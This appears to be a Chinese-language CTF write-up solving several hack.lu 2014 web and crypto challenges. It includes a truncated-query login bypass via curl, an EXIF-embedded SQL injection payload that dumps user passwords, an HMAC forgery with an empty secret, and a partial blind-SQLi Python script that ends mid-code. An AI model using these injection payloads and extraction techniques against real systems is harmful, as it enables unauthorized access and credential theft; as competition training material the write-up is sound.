◆0 Web 50 Encrypted Category: Web
Points: 50
Author: TheJH
Description:
Legend says there is a bank vault in Jamestown which cannot be broken
into. The only way inside is through an authentication process. Even
Jesse James and his companions failed to break the security of this
particular bank. Can you do it?
https://wildwildweb.fluxfingers.net:1411/
能看到一个登录表单,使用用户名a和密码b登录,看到了链接变成
https://wildwildweb.fluxfingers.net:1411/dologin.php?dhrel=FRYRPG+%60anzr%60+SEBZ+%60hfref%60+JURER+%60anzr%60+%3D+%27n%27+NAQ+%60cnffjbeq%60+%3D+ZQ5%28%27o%27%29
#!bash
In [22]: hackercodecs.rotx(hackercodecs.urlunquote(a),13)
Out[22]: u"query=SELECT+`name`+FROM+`users`+WHERE+`name`+=+'a'+AND+`password`+=+MD5('b')"
去掉后半部分,直接访问:
#!bash
DeAdCaT___$ curl 'https://wildwildweb.fluxfingers.net:1411/dologin.php?dhrel=FRYRPG%20%60anzr%60%20SEBZ%20%60hfref%60'
#!html
Encrypted Login [size=1]Encrypted Login[/size]
Hello admin! The flag is flag{nobody_needs_server_side_validation}.
◆1 Web 200 ImageUpload Category: Web Points: 200 Author: SLAZ Description: In the Wild Wild Web, there are really bad guys. The sheriff doesn’t know them all.
Therefore, he needs your help. Upload pictures of criminals to this site and help the sheriff to arrest them. You can make this Wild Wild Web much less wild!!! Pictures will be deleted on regular basis! Hint: Bruteforce is not necessary to solve the challenge!!! Please don’t do this. https://wildwildweb.fluxfingers.net:1421/
当你登录之后,你能看到一个上传图片的表单和一个Login,上传了一个小辣椒之后,服务器生成了这么一个图片,并且下方还有一个表格。
图片:2014102906474844193.png
我一开始总觉得是要绕过gd的压缩,在各种调教之前的一个绕过gd压缩的代码。后来这个题被凯神秒了,他说这是个exif注入。
于是后来玩了一下,用exiftool。
最终的payload图片的部分exif信息
#!bash
DeAdCaT-2:hack.lu2014 DeAdCaT___$ exiftool test.jpg
ExifTool Version Number : 9.60
File Name : test.jpg
Directory : .
File Size : 7.2 kB
Artist : asd','nidaye',(select group_concat(id,0x3a,name,0x3a,password) from users)) #
在Model处出现数据:
#!bash
1:sheriff:AO7eikkOCucCFJOyyaaQ,2:deputy:testpw
然后Login,获得fLag。
You are sucessfully logged in.
Flag: flag{1_5h07_7h3_5h3r1ff}
◆2 Crypto 150 Hidden in ρlaιn sιght Category: Crypto
Points: 150
Author: TheJH
Description: At our software development company, one of the top developers left in anger. He told us that he had hidden a backdoor in our node.js server application — he thinks that we can’t find it even if we try. I have attached the source code of our fileserver. After registration, you can log in, upload files and create access tokens for your files that others can use to retrieve them. He must have added some way to retrieve files without permission. And we don’t have version control, so we can’t just check his last commits. We have read the source code multiple times, but just can’t figure out how he did it. Maybe he just lied? Can you help us and demonstrate how the backdoor works? We have uploaded a file to testuser/files/flag.txt – please try to retrieve it. Connect to https://wildwildweb.fluxfingers.net:1409/. Note that all your files will be purged every 5 minutes. You can download the service code here: Download
一开始以为是密码题,后来发现是隐写。。。。(机智的lym
一个图片说明问题:
图片:2014102906474844193.png
◆3 crypto150下面那个长的像拉长的E的东西是
u0395
也就是说:
HMAC_SECRET = ''
用python:
#!bash
In [76]: hmac.new('','testuser/flag.txt',hashlib.sha256).hexdigest()
Out[76]: '4a332c7f27909f85a529393cea72301393f84cf5908aa2538137776f78624db4'
DeAdCaT___$ curl https://wildwildweb.fluxfingers.net:1409/files/testuser/flag.txt/4a332c7f27909f85a529393cea72301393f84cf5908aa2538137776f78624db4
flag{unicode_stego_is_best_stego}
◆4 Web 200 Killy The Bit Category: Web
Points: 200
Author: understrich
Description: Killy the Bit is one of the dangerous kittens of the wild west. He already flipped bits in most of the states and recently hacked the Royal Bank of Fluxembourg (https://wildwildweb.fluxfingers.net:1424/). All customer of the bank are now advised to change their password for the next release of the bank’s website which will be launched on the 23.10.2014 10:01 CEST. Killy the Bit stands in your debt and sent the following link https://wildwildweb.fluxfingers.net:1424/index.phps. Can you break the password generation process in order to get access to the admin account? Hint: The challenge won’t actually send emails — just concentrate on the website! Hint: The password’s column name is passwd. Hint: Blind SQLi is not a good solution. You can get the correct and complete flag with one single request!
狗我比较弱,用的盲注:
#!python
import requests
def binary_sqli(left, right, index): while 1: mid = (left + right)/2 if mid == left: print chr(mid) return chr(mid) break payload = "' union select name,email from user where name = if(ascii(substr((select passwd from user where name='admin'),%s,1))